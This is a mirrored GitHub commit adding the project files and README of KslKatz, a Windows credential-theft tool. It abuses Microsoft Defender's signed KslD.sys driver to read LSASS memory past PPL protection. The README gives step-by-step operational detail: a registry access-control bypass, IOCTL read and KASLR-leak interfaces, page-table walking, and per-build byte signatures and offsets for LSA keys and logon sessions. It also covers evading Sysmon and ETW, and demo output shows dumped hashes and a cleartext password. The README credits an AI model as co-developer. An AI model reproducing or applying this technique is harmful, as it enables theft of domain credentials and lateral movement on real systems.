mirror of
https://github.com/illmob/KslKatz
synced 2026-06-08 14:49:09 +00:00
Add files via upload
This commit is contained in:
+19
@@ -0,0 +1,19 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.0.31903.59
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KslKatz", "KslKatz.vcxproj", "{A1B2C3D4-1234-5678-9ABC-DEF012345678}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{A1B2C3D4-1234-5678-9ABC-DEF012345678}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-1234-5678-9ABC-DEF012345678}.Debug|x64.Build.0 = Debug|x64
|
||||
{A1B2C3D4-1234-5678-9ABC-DEF012345678}.Release|x64.ActiveCfg = Release|x64
|
||||
{A1B2C3D4-1234-5678-9ABC-DEF012345678}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<ProjectGuid>{A1B2C3D4-1234-5678-9ABC-DEF012345678}</ProjectGuid>
|
||||
<RootNamespace>KslKatz</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(ProjectDir)bin\Debug\</OutDir>
|
||||
<IntDir>$(ProjectDir)obj\Debug\</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(ProjectDir)bin\Release\</OutDir>
|
||||
<IntDir>$(ProjectDir)obj\Release\</IntDir>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;NOMINMAX;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>bcrypt.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;NOMINMAX;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>bcrypt.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\main.cpp" />
|
||||
<ClCompile Include="src\driver.cpp" />
|
||||
<ClCompile Include="src\memory.cpp" />
|
||||
<ClCompile Include="src\crypto.cpp" />
|
||||
<ClCompile Include="src\lsa.cpp" />
|
||||
<ClCompile Include="src\wdigest.cpp" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\common.h" />
|
||||
<ClInclude Include="src\driver.h" />
|
||||
<ClInclude Include="src\driver_payload.h" />
|
||||
<ClInclude Include="src\memory.h" />
|
||||
<ClInclude Include="src\crypto.h" />
|
||||
<ClInclude Include="src\lsa.h" />
|
||||
<ClInclude Include="src\wdigest.h" />
|
||||
</ItemGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,24 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source"><UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier></Filter>
|
||||
<Filter Include="Header"><UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier></Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\main.cpp"><Filter>Source</Filter></ClCompile>
|
||||
<ClCompile Include="src\driver.cpp"><Filter>Source</Filter></ClCompile>
|
||||
<ClCompile Include="src\memory.cpp"><Filter>Source</Filter></ClCompile>
|
||||
<ClCompile Include="src\crypto.cpp"><Filter>Source</Filter></ClCompile>
|
||||
<ClCompile Include="src\lsa.cpp"><Filter>Source</Filter></ClCompile>
|
||||
<ClCompile Include="src\wdigest.cpp"><Filter>Source</Filter></ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\common.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\driver.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\driver_payload.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\memory.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\crypto.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\lsa.h"><Filter>Header</Filter></ClInclude>
|
||||
<ClInclude Include="src\wdigest.h"><Filter>Header</Filter></ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,662 @@
|
||||
<div align="center">
|
||||
|
||||
# KslKatz
|
||||
|
||||
**BYOVD Credential Extractor using Microsoft Defender's KslD.sys**
|
||||
|
||||
[](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://www.microsoft.com/windows)
|
||||
[](https://en.cppreference.com/w/cpp/20)
|
||||
[](https://visualstudio.microsoft.com/)
|
||||
|
||||
*Extract MSV1_0 NT hashes and WDigest cleartext passwords from PPL-protected LSASS using only Microsoft-signed components. No third-party driver. Everything ships pre-installed with Windows Defender.*
|
||||
|
||||
*Developed in close collaboration with [opus](https://claude.ai).*
|
||||
|
||||
---
|
||||
|
||||
</div>
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Overview](#overview)
|
||||
- [Demo Output](#demo-output)
|
||||
- [The Vulnerability](#the-vulnerability)
|
||||
- [The Read Primitive](#the-read-primitive)
|
||||
- [The Access Control](#the-access-control)
|
||||
- [The Blocklist Paradox](#the-blocklist-paradox)
|
||||
- [Architecture](#architecture)
|
||||
- [EPROCESS Discovery](#eprocess-discovery)
|
||||
- [Physical Memory Read and PPL Bypass](#physical-memory-read-and-ppl-bypass)
|
||||
- [LSA Key Extraction](#lsa-key-extraction)
|
||||
- [MSV1_0 Credential Extraction](#msv1_0-credential-extraction)
|
||||
- [WDigest Cleartext Extraction](#wdigest-cleartext-extraction)
|
||||
- [Attack Chain](#attack-chain)
|
||||
- [Embedded Driver](#embedded-driver)
|
||||
- [Comparison with Other Tools](#comparison-with-other-tools)
|
||||
- [Supported Windows Versions](#supported-windows-versions)
|
||||
- [Building](#building)
|
||||
- [Project Structure](#project-structure)
|
||||
- [Credits](#credits)
|
||||
- [Responsible Disclosure](#responsible-disclosure)
|
||||
- [Disclaimer](#disclaimer)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
KslKatz combines two proven techniques into a single standalone executable:
|
||||
|
||||
1. **KslD.sys BYOVD** for kernel/physical memory access, bypassing PPL protection on LSASS
|
||||
2. **GhostKatz-style local signature scanning** for resolving lsasrv.dll and wdigest.dll internals without expensive remote memory scans
|
||||
|
||||
The result is a tool that reads LSASS credentials through physical memory using only a Microsoft-signed driver that is already present on disk, requires no internet access, no additional files, and cleans up after itself.
|
||||
|
||||
### What Gets Extracted
|
||||
|
||||
| Package | Data | Condition |
|
||||
|---------|------|-----------|
|
||||
| **MSV1_0** | NT Hash, LM Hash, SHA1 Hash per logon session | Always available after interactive logon |
|
||||
| **WDigest** | Cleartext password (UTF-16) | Requires WDigest caching enabled (registry, GPO, or in-memory patch) |
|
||||
|
||||
---
|
||||
|
||||
## Demo Output
|
||||
|
||||
```
|
||||
C:\> KslKatz.exe
|
||||
[*] Windows Build 20348
|
||||
[*] Setting up KslD driver...
|
||||
Deploying embedded driver to vKslD.sys...
|
||||
Driver deployed and verified
|
||||
[+] Driver loaded
|
||||
[*] KASLR bypass (SubCmd 2)...
|
||||
idtr=0xfffff8000b6cb000 cr3=0x6d5000
|
||||
ntoskrnl=0xfffff8000bc1f000
|
||||
[*] Finding lsass.exe...
|
||||
Handle to SYSTEM (PID 4), our PID=5452, handle=0x124
|
||||
Handle table: 35540 entries
|
||||
SYSTEM EPROCESS=0xffffe60d6e099040
|
||||
Offsets: PID=0x440 Links=0x448 Name=0x5a8
|
||||
[*] Walk ActiveProcessLinks from SYSTEM to find lsass.exe
|
||||
lsass.exe PID=724 DTB=0x1269e000
|
||||
PEB=0x3ab715f000 LDR=0x7ffb7e033140
|
||||
[*] Finding lsasrv.dll...
|
||||
lsasrv.dll base=0x7ffb7ae80000 size=0x190000
|
||||
[*] Extracting LSA encryption keys...
|
||||
LSA keys found
|
||||
[*] Finding LogonSessionList...
|
||||
[*] Extracting MSV1_0 credentials...
|
||||
[*] Checking WDigest...
|
||||
[*] Finding wdigest.dll in lsass...
|
||||
wdigest.dll base=0x7ffb7a3e0000 size=0x51000
|
||||
l_LogSessList at 0x7ffb7a42a5c8 (RVA=0x4a5c8)
|
||||
[*] Restoring driver configuration...
|
||||
Removed deployed vKslD.sys
|
||||
======================================================================
|
||||
MSV1_0 CREDENTIALS
|
||||
======================================================================
|
||||
[+] 2 credential(s):
|
||||
|
||||
YOURDOM\admin
|
||||
NT: aad3b435b51404eeaad3b435b51404ee
|
||||
|
||||
YOURDOM\svc_backup
|
||||
NT: 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
|
||||
======================================================================
|
||||
WDIGEST CREDENTIALS (Cleartext)
|
||||
======================================================================
|
||||
[+] 1 credential(s):
|
||||
|
||||
YOURDOM\admin
|
||||
Password: Summer2025!
|
||||
|
||||
======================================================================
|
||||
[*] Total: 2 MSV1_0, 1 WDigest
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## The Vulnerability
|
||||
|
||||
KslD.sys is a kernel driver shipped as part of Microsoft Defender. It is Microsoft-signed, loaded as a trusted kernel module, and exposes a device object `\\.\KslD` accessible from usermode via `CreateFileW`.
|
||||
|
||||
Microsoft ships two versions of this driver side by side:
|
||||
|
||||
| Version | Size | Location | MmCopyMemory | Status |
|
||||
|---------|------|----------|-------------|--------|
|
||||
| Patched | ~82 KB | `drivers\wd\KslD.sys` | Nulled out | Active (ImagePath points here) |
|
||||
| Vulnerable | ~333 KB | `drivers\KslD.sys` | Functional | **Sitting on disk, never removed** |
|
||||
|
||||
The patched version deliberately clears the `MmCopyMemory` function pointer during initialization, disabling SubCmd 12. The vulnerable version stores it. Both binaries are Microsoft-signed and trusted by the OS. Defender platform updates drop the patched version into the `wd\` subdirectory and update `ImagePath`, but the old vulnerable version is never deleted from the `drivers\` directory.
|
||||
|
||||
KslKatz simply switches `ImagePath` back to the vulnerable version via `ChangeServiceConfigW` and restarts the service.
|
||||
|
||||
<details>
|
||||
<summary><b>Why the old driver is still on disk</b></summary>
|
||||
|
||||
Microsoft's public documentation shows that KB4052623 delivers Defender platform updates, including a historical move of Defender drivers to `System32\drivers\wd\`. Windows servicing keeps WinSxS-backed component-store files via NTFS hard links and only removes superseded component versions during cleanup. On tested systems, this explains why the newer 82 KB KslD.sys arrives through the Defender platform-update path while the older 333 KB `System32\drivers\KslD.sys` remains as the current CBS-backed component-store copy until explicitly superseded by a newer CBS version.
|
||||
|
||||
</details>
|
||||
|
||||
### The Read Primitive
|
||||
|
||||
The core of the vulnerability is SubCmd 12, an unrestricted `MmCopyMemory()` wrapper exposed to usermode:
|
||||
|
||||
```c
|
||||
// IOCTL 0x222044, SubCmd 12
|
||||
struct IoReadInput {
|
||||
DWORD SubCmd; // 12
|
||||
DWORD Reserved; // 0
|
||||
QWORD Address; // Target virtual or physical address
|
||||
QWORD Size; // Number of bytes to read
|
||||
DWORD Flags; // 1 = Physical, 2 = Virtual
|
||||
DWORD Padding;
|
||||
};
|
||||
// Output: raw memory contents, up to Size bytes
|
||||
```
|
||||
|
||||
| Flag | Mode | Description |
|
||||
|------|------|-------------|
|
||||
| 1 | **Physical** | Reads any physical address via `MmCopyMemory`. Not subject to PPL, EPROCESS protection, or any usermode API restriction. This is the PPL bypass primitive. |
|
||||
| 2 | **Virtual** | Reads kernel virtual addresses directly. Used for walking kernel structures (EPROCESS, IDT, ntoskrnl) without manual page table translation. |
|
||||
|
||||
SubCmd 2 provides additional information leaks:
|
||||
|
||||
```c
|
||||
// IOCTL 0x222044, SubCmd 2
|
||||
// Returns CPU register name/value pairs (8 bytes name + 8 bytes value each)
|
||||
// Key registers: CR3 (current DTB), IDTR (IDT base), CR0, CR4
|
||||
```
|
||||
|
||||
The combination of SubCmd 2 (KASLR defeat) and SubCmd 12 (arbitrary read) provides a complete kernel memory introspection capability from usermode.
|
||||
|
||||
### The Access Control
|
||||
|
||||
The driver validates the calling process by comparing its image path against the `AllowedProcessName` registry value stored under `HKLM\SYSTEM\CurrentControlSet\Services\KslD`. This value contains a full NT device path like `\Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.x\MsMpEng.exe`.
|
||||
|
||||
This check is trivially bypassed because the registry value is:
|
||||
|
||||
- Editable by any local administrator
|
||||
- Not protected by Defender's tamper protection mechanisms
|
||||
- Not validated against code signing, binary integrity, or any cryptographic property
|
||||
- A plain string comparison with no additional verification
|
||||
|
||||
KslKatz writes its own NT device path to `AllowedProcessName`, restarts the service, and opens the device handle.
|
||||
|
||||
### The Blocklist Paradox
|
||||
|
||||
Microsoft maintains a [Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) (`DriverSiPolicy.p7b`) enforced via HVCI to prevent BYOVD attacks. From their documentation:
|
||||
|
||||
> *"The vulnerable driver blocklist is designed to help harden systems against **non-Microsoft-developed drivers** across the Windows ecosystem."*
|
||||
|
||||
**Microsoft's own drivers are excluded from the blocklist by design.**
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
### EPROCESS Discovery
|
||||
|
||||
KslKatz needs to find the `lsass.exe` EPROCESS structure in kernel memory to obtain its Directory Table Base (DTB/CR3) for page table walks. The approach uses the `SystemHandleInformation` API to leak a kernel object pointer:
|
||||
|
||||
```
|
||||
1. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, PID=4)
|
||||
-> Obtains a handle to the SYSTEM process
|
||||
|
||||
2. RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
|
||||
-> Required for Object pointers in handle table results
|
||||
|
||||
3. NtQuerySystemInformation(SystemHandleInformation)
|
||||
-> Returns all open handles in the system with their Object pointers
|
||||
-> Find our handle by matching (our PID, our handle value)
|
||||
-> Object field = kernel address of SYSTEM EPROCESS
|
||||
|
||||
4. Read SYSTEM EPROCESS via SubCmd 12 (virtual read, 0x800 bytes)
|
||||
-> Scan for PID=4 followed by a kernel pointer -> UniqueProcessId + ActiveProcessLinks offsets
|
||||
-> Scan for "System\0" string -> ImageFileName offset
|
||||
-> All offsets detected dynamically, no hardcoded values per build
|
||||
|
||||
5. Walk ActiveProcessLinks doubly-linked list
|
||||
-> Read ImageFileName at each EPROCESS
|
||||
-> Match "lsass.exe" -> extract DTB from EPROCESS+0x28
|
||||
-> Auto-detect PEB offset by scanning for valid usermode pointer with PEB/LDR structure
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary><b>Why not use PsInitialSystemProcess?</b></summary>
|
||||
|
||||
Tools like GhostKatz and Mimikatz locate the SYSTEM EPROCESS by resolving `PsInitialSystemProcess` from ntoskrnl.exe exports (`EnumDeviceDrivers` + `LoadLibrary("ntoskrnl.exe")` + `GetProcAddress`). This approach has two problems:
|
||||
|
||||
1. **LoadLibrary triggers ETW/Sysmon events.** Loading ntoskrnl.exe into the process generates Image Load events (Sysmon Event 7) that defensive tools monitor.
|
||||
|
||||
2. **Export directory is broken on recent builds.** On Windows 11 Build 26200+, ntoskrnl's PE export directory header has `exp_sz=0x6b` (only 107 bytes), with actual export tables at separate RVAs. Both Python and C++ PE parsers fail to resolve exports from this layout.
|
||||
|
||||
The `SystemHandleInformation` approach avoids both problems: no DLL loading, no export parsing, and it works on all tested builds from 7600 to 26200.
|
||||
|
||||
</details>
|
||||
|
||||
### Physical Memory Read and PPL Bypass
|
||||
|
||||
Protected Process Light (PPL) was designed to prevent credential theft by blocking `OpenProcess` and `ReadProcessMemory` calls against LSASS from usermode. However, PPL only protects the usermode API path. It has no authority over kernel-mode physical memory operations.
|
||||
|
||||
KslD.sys SubCmd 12 calls `MmCopyMemory()` with attacker-supplied physical addresses. This kernel API operates below the process protection layer and reads physical memory pages regardless of which process owns them.
|
||||
|
||||
KslKatz translates lsass virtual addresses to physical addresses using a manual page table walk. GhostKatz uses Superfetch (`NtQuerySystemInformation` Class 79) for this purpose, building a global PFN-to-VA translation table. Both approaches achieve the same result through different means.
|
||||
|
||||
```
|
||||
lsass DTB (from EPROCESS+0x28)
|
||||
|
|
||||
CR3 -> PML4 Table (512 entries, each 8 bytes)
|
||||
-> PML4E[va_bits[47:39]] -> PDPT Table
|
||||
-> PDPTE[va_bits[38:30]] -> Page Directory
|
||||
-> Large page (1GB)? -> PA = (entry & mask) | va_offset
|
||||
-> PDE[va_bits[29:21]] -> Page Table
|
||||
-> Large page (2MB)? -> PA = (entry & mask) | va_offset
|
||||
-> PTE[va_bits[20:12]] -> 4KB Page
|
||||
-> PA = (PTE & 0xFFFFFFFFF000) | va_bits[11:0]
|
||||
```
|
||||
|
||||
Each level requires one physical read via SubCmd 12. A full translation takes 4-5 IOCTLs. The implementation also handles transition pages (standby list, bit 11 set in PTE) which are common for LSASS memory that has been trimmed from the working set but not paged out.
|
||||
|
||||
### LSA Key Extraction
|
||||
|
||||
LSASS encrypts all cached credentials using two symmetric keys (AES-256 and 3DES-168) and a 16-byte initialization vector. These are stored in global variables inside `lsasrv.dll` and referenced by code patterns that Mimikatz originally identified.
|
||||
|
||||
KslKatz uses a **local file scan** approach instead of scanning remote lsass memory:
|
||||
|
||||
```
|
||||
1. ReadFile("C:\Windows\System32\lsasrv.dll")
|
||||
-> Read entire DLL as raw bytes (std::ifstream, no LoadLibrary, no ETW event)
|
||||
|
||||
2. Parse PE header manually
|
||||
-> Find .text section: raw_offset, raw_size, virtual_address
|
||||
|
||||
3. Scan .text raw bytes for signature patterns
|
||||
-> 9 signature variants covering Windows Vista through 11 24H2
|
||||
-> Each signature has offsets to IV, 3DES key ptr, and AES key ptr
|
||||
|
||||
4. Resolve RIP-relative displacements from raw bytes
|
||||
-> disp32 at sig_offset + iv_off
|
||||
-> target_rva = text_virtual_address + instruction_offset + 4 + disp32
|
||||
|
||||
5. Convert RVA to lsass virtual address
|
||||
-> target_va = lsasrv_base_in_lsass + target_rva
|
||||
|
||||
6. Read actual key data from lsass (3 targeted physical reads)
|
||||
-> IV: 16 bytes directly
|
||||
-> h3DesKey and hAesKey: pointer dereference + BCRYPT structure traversal
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary><b>Why read from disk instead of LoadLibrary?</b></summary>
|
||||
|
||||
`LoadLibraryA("lsasrv.dll")` would load the DLL into our process, which:
|
||||
|
||||
- Triggers Sysmon Event 7 (Image Load) and ETW `Microsoft-Windows-Kernel-Process` events
|
||||
- Executes `DllMain` with potential side effects
|
||||
- Appears in the PEB module list, visible to any process inspector
|
||||
|
||||
Reading the file from disk with `std::ifstream` generates only a standard file read operation. No image load event, no DllMain execution, no PEB entry. The raw bytes contain the same `.text` section with the same signatures and the same RIP-relative displacements. The only difference is that addresses must be computed as RVAs (relative to section virtual address) rather than absolute pointers.
|
||||
|
||||
This is also how KslKatz differs from GhostKatz, which uses `LoadLibraryA` for its local signature scans.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>BCRYPT key structure traversal</b></summary>
|
||||
|
||||
The LSA key variables (`hAesKey`, `h3DesKey`) are pointers to `BCRYPT_HANDLE_KEY` structures. The actual symmetric key bytes are buried three levels deep:
|
||||
|
||||
```
|
||||
hAesKey (global variable in lsasrv.dll .data section)
|
||||
|
|
||||
poi(hAesKey) -> BCRYPT_HANDLE_KEY
|
||||
+0x00: size
|
||||
+0x04: tag = "UUUR" (0x55555552) <- validation checkpoint
|
||||
+0x08: hAlgorithm
|
||||
+0x10: key pointer -----------------> BCRYPT_KEY81
|
||||
+0x00: size
|
||||
+0x04: tag = "MSSK" (0x4D53534B) <- validation checkpoint
|
||||
+0x08: type, unk0-unk9 fields
|
||||
+0x38: HARD_KEY
|
||||
+0x00: cbSecret (ULONG, key length in bytes)
|
||||
+0x04: data[cbSecret] <- actual AES/3DES key bytes
|
||||
```
|
||||
|
||||
The `hk_off` field in the signature table specifies the offset to `HARD_KEY` within the key structure. This varies by Windows version:
|
||||
|
||||
| Structure | hk_off | Windows Versions |
|
||||
|-----------|--------|-----------------|
|
||||
| `BCRYPT_KEY` | `0x18` | Vista, 7 |
|
||||
| `BCRYPT_KEY80` | `0x28` | 8, 8.1 |
|
||||
| `BCRYPT_KEY81` | `0x38` | 10, 11, Server 2016+ |
|
||||
|
||||
KslKatz validates both the "UUUR" and "MSSK" tags before reading key data to prevent false positives from stale or incorrect signature matches.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>All supported LSA key signatures</b></summary>
|
||||
|
||||
| Pattern | IV Offset | DES Offset | AES Offset | hk_off | Windows Versions |
|
||||
|---------|-----------|------------|------------|--------|-----------------|
|
||||
| `83 64 24 30 00 48 8d 45 e0 44 8b 4d d8 48 8d 15` | 71 | -89 | 16 | 0x38 | 11 22H2+ |
|
||||
| Same pattern | 58 | -89 | 16 | 0x38 | 11 21H2 |
|
||||
| Same pattern | 67 | -89 | 16 | 0x38 | 10 1809-1909 |
|
||||
| Same pattern | 61 | -73 | 16 | 0x38 | 10 1507-1803 |
|
||||
| `83 64 24 30 00 44 8b 4d d8 48 8b 0d` | 62 | -70 | 23 | 0x38 | 8.1 (KEY81) |
|
||||
| Same pattern | 62 | -70 | 23 | 0x28 | 8 (KEY80) |
|
||||
| Same pattern | 58 | -62 | 23 | 0x28 | 8 (alternate) |
|
||||
| `83 64 24 30 00 44 8b 4c 24 48 48 8b 0d` | 59 | -61 | 25 | 0x18 | 7 |
|
||||
| Same pattern | 63 | -69 | 25 | 0x18 | Vista |
|
||||
|
||||
</details>
|
||||
|
||||
### MSV1_0 Credential Extraction
|
||||
|
||||
MSV1_0 is the primary authentication package in Windows. It caches NT hashes for every interactive logon session. The `LogonSessionList` is a linked list (or array of linked lists on newer builds) inside `lsasrv.dll` containing all active sessions.
|
||||
|
||||
KslKatz locates `LogonSessionList` using the same local-file-scan technique, then walks the list via physical memory reads:
|
||||
|
||||
```
|
||||
LogonSessionList[0..count-1] (array of list heads, count from LogonSessionListCount)
|
||||
|
|
||||
poi(head) -> Flink
|
||||
|
|
||||
Entry (KIWI_MSV1_0_LIST_63)
|
||||
+0x00: Flink -> next entry
|
||||
+0x70: LUID -> logon session ID
|
||||
+0x90: Username (UNICODE_STRING) -> e.g. "admin"
|
||||
+0xA0: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
|
||||
+0xD0: pSid -> user SID
|
||||
+0x108: Credentials pointer ---------> KIWI_MSV1_0_CREDENTIALS
|
||||
+0x00: next -> credential chain (linked list)
|
||||
+0x10: PrimaryCredentials ---------> KIWI_MSV1_0_PRIMARY_CREDENTIALS
|
||||
+0x00: next -> primary cred chain
|
||||
+0x08: Primary (ANSI_STRING) -> package name, must be "Primary"
|
||||
+0x18: encrypted blob length
|
||||
+0x20: encrypted blob pointer ---> encrypted MSV1_0_PRIMARY_CREDENTIAL
|
||||
```
|
||||
|
||||
The encrypted blob is decrypted using the LSA keys:
|
||||
|
||||
- If `blob_length % 8 != 0`: **AES-CFB128** with hAesKey + full IV (16 bytes)
|
||||
- If `blob_length % 8 == 0`: **3DES-CBC** with h3DesKey + IV[:8]
|
||||
|
||||
The decrypted `MSV1_0_PRIMARY_CREDENTIAL` structure contains:
|
||||
|
||||
| Offset | Size | Field |
|
||||
|--------|------|-------|
|
||||
| 0x40 | 1 | isIso (Credential Guard isolated) |
|
||||
| 0x41 | 1 | isNtOwfPassword (NT hash present) |
|
||||
| 0x46 | 16 | NT Hash |
|
||||
| 0x56 | 16 | LM Hash |
|
||||
| 0x66 | 20 | SHA1 Hash |
|
||||
|
||||
KslKatz checks `isIso == 0` and `isNtOwfPassword == 1` before extracting hashes. If Credential Guard is active, `isIso` will be set and the actual hashes are isolated in the Virtualization-Based Security (VBS) enclave, inaccessible even through physical memory reads.
|
||||
|
||||
<details>
|
||||
<summary><b>When are MSV1_0 credentials cached?</b></summary>
|
||||
|
||||
| Logon Type | Scenario | Credentials Cached |
|
||||
|------------|----------|--------------------|
|
||||
| Type 2 (Interactive) | Console login, UAC elevation | Yes, NT/LM/SHA1 |
|
||||
| Type 10 (RemoteInteractive) | RDP session | Yes, NT/LM/SHA1 |
|
||||
| Type 9 (NewCredentials) | `runas /netonly` | Yes, for the new identity |
|
||||
| Type 5 (Service) | Service running as domain account | Yes, while service runs |
|
||||
| Type 3 (Network) | SMB/NTLM network authentication | Session token only, **no hash cache** |
|
||||
|
||||
Credentials persist for the lifetime of the logon session. A user logged in via RDP with a disconnected (not logged off) session has their hashes in memory until the session is terminated. This is why credential hygiene and session management matter.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>All supported LogonSessionList signatures</b></summary>
|
||||
|
||||
| Pattern | Offset | min_build | Windows Version |
|
||||
|---------|--------|-----------|-----------------|
|
||||
| `45 89 34 24 48 8b fb 45 85 c0 0f` | 25 | 26200 | 11 24H2/25H2 |
|
||||
| `45 89 34 24 8b fb 45 85 c0 0f` | 25 | 26200 | 11 24H2 (alt) |
|
||||
| `45 89 37 49 4c 8b f7 8b f3 45 85 c0 0f` | 27 | 22631 | 11 22H2-23H2 |
|
||||
| `45 89 34 24 4c 8b ff 8b f3 45 85 c0 74` | 24 | 20348 | Server 2022, 11 21H2 |
|
||||
| `33 ff 41 89 37 4c 8b f3 45 85 c0 74` | 23 | 18362 | 10 1903-2004 |
|
||||
| `33 ff 41 89 37 4c 8b f3 45 85 c9 74` | 23 | 17134 | 10 1803 |
|
||||
| `33 ff 45 89 37 48 8b f3 45 85 c9 74` | 23 | 15063 | 10 1703 |
|
||||
